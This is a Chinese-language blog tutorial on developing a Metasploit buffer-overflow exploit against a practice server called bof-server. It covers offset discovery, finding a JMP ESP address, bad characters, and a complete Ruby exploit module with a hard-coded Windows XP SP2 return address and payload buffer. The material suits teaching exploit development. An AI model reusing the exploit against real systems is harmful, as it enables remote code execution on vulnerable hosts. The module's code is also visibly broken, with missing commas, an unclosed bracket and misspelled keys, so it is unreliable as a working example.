滲透測試筆記之淺談MSFexploit開發

2020-08-08 20:18:14

根據作者所學知識,寫下本篇文章,msf全程metasploit framework,是一款十分出色的漏洞利用工具本篇文章不對具體的編寫做過多介紹,只介紹思路。

基本知識

想要編寫exploit,需要瞭解基本知識,先來了解暫存器,暫存器此處暫且提到三個,即ebp棧底指針暫存器,ESP棧頂指針暫存器,eip指令暫存器,其中最爲重點的就要數eip暫存器了,想要執行shellcode獲得shell,就要改寫eip指針指向jmpesp指針,指向shellcode,從而獲得shell。那麼此處還要引入一個概念,即緩衝區,本文章介紹的主要圍繞緩衝區溢位,總體思路就是,找到足以改寫(也是正好改寫)eip總長度,這個長度我們稱爲偏移量(offset)。

開發總體思路

下面 下麪來介紹一下Exploit的開發總體思路,建議先瞭解計算機CPU、記憶體工作原理及步驟再閱讀此文。
Exploit開發可以簡單分爲4步
1.填充EIP暫存器起始地址之前的Buffer和EBP暫存器
2.使用JMP ESP地址改寫EIP地址,指向Shellcode
3.在攻擊載荷前提供一些填充數據,以保證其正常執行
4.刪除壞位元組,使其可以持續執行不中斷
本文將會提到一個範例,該範例由作者讀過的一本書的作者編寫,這個有漏洞的程式叫做bof-server,下載地址是http://redstack.net/blog/category/How%2To.html,感興趣的可以下載下來進行參考。

使該程式崩潰(緩衝區溢位)

我們發現,該程式執行在200埠上,我們使用telnet連線,向其發送多個AAAAAAAAAAAAAAAAAAAAAAAAAAAA…然後回到執行該程式的主機,會發現該程式已經崩潰,崩潰報告上offset是41414141,轉換過來就是AAAA,說明此時,該程式緩衝區接受了我們發送的數據後被溢位,波及了其他暫存器,導致無法找到下一條指令,從而報錯。

找到偏移量

光讓他崩潰是遠遠不夠的,我們的目標是要執行shellcode拿到shell(志當存高遠,滑稽),我們下面 下麪要找到他的偏移量,用來確定填滿EBP和Buffer的數據長度。
那我們怎麼找到偏移量呢,此處介紹一種方法,也是作者最喜歡的方法。在Kali系統有兩個Ruby編寫的指令碼,名字分別是pattern_create.rb和pattern_offset.rb,這兩個指令碼需要成套使用。
前面的用來建立字串,後面的用來對崩潰返回的offset進行計算,算出offset。
語法爲

root@kali:pattern_create.rb length(長度,一個整數)

該指令碼在命令列執行後,會返回一大串字串,將其發送至目標地址的目標埠,即可。
在得到了崩潰報告後,我們得知了改寫EIP的位元組,由於該指令碼生成的字串有規律,所以得到改寫EIP的數據(即報告裡的offset,也可以看偵錯程式如immunity、OllyDBG等),然後就會用到第二個指令碼,語法如下,例如改寫EIP指針的數據是72413372 語法如下

root@kali: pattern_offset.rb 72413372
[*] Exact match at offset 520

該結果說明(第二行爲返回結果)偏移量爲520

查詢JMP ESP地址

下面 下麪,我們需要找到JMP ESP地址以改寫EIP。
之所以需要這個地址,是因爲我們通過ESP載入Payload,我們需要找到這個地址,該地址指向ESP。因此,我們需要從外部DLL找到該地址(JMP ESP),我們在此之前需要找到程式都載入了哪些DLL,開啓偵錯程式(immunity,OllyDBG等),講目標進程附加在偵錯程式上。找到Executable modules,即可看到所有引入的DLL檔案,這裏我們使用Kali得另外一款工具來尋找JMPESP,這款工具也是由Kali整合,叫做msfpescan。尋找該地址語法爲:

msfpescan -j esp -f dll檔案地址

找到地址後需要填充空間,以保證其正常執行。
我們開啓偵錯程式,將Offset組合JMPESP發送給程式,觀察EIP指針變化(偵錯程式中),如果發送Offset+ABCDEF,EIP被改寫成BCDEF,說明需要填充一個位元組,這裏我們使用NOP,即\x90.

確定Badchars

一般壞位元組有:\x00,\x20,\x0a,\x0d

確定空間限制

載入shellcode需要足夠的空間,所以我們需要確定空間限制,如果實在無法滿足需求,則先載入一個小的shellcode,再傳大的shellcode。
下面 下麪我們就可以開始編寫了

尾聲——模組編寫

下面 下麪,我們開始編寫這個模組, 作者對這個模組進行了些許修改,採用語言沒變,仍然是Ruby

class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
	
	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
		'Name'         => 'Buffer Overflow Exmaple'
		'Description'  => %q{
		use this to exploit Vuln
		}
		'Platform'     => 'windows'
		'Author'       =>
		[
			NorthCitySilence(南城無笙)
		]
		'Payload'  =>
		{
		'space' => 1000,
		'Badchars' => "\x00\xff\x20\x0a\x0d"
		}
		'Targets' =>
		[
			['Windows XP SP2',{'Ret' => 0x71AB9372, 'Offset' => 520}]           #此處爲JMPESP地址
		'DisclosureData' => 'Time(M/D/Y)'
		))
		register_options(
		[
			opt::RPORT(200)
		])
	 end
	 def exploit
	 	connect
	 	buf = make_nops(target['Offset'])
	 	buf = buf + [target['Ret']].pack('V') + make_nops(10) + payload.encoded
	 	sock.put(buf)
	 	disconnect
	 end
end

以上就是整個編寫流程,本人組建了 星河網路安全羣,同行的各位歡迎入羣,需要考覈,有興趣的或對本文章有問題加我Q:2569207390或在文章評論區和平發表看法。
歡迎對本文以及本人得不足之處進行批評以及指導,本文原始碼可以進行復制等,本文文章部分禁止未經允許轉載。謝謝配合。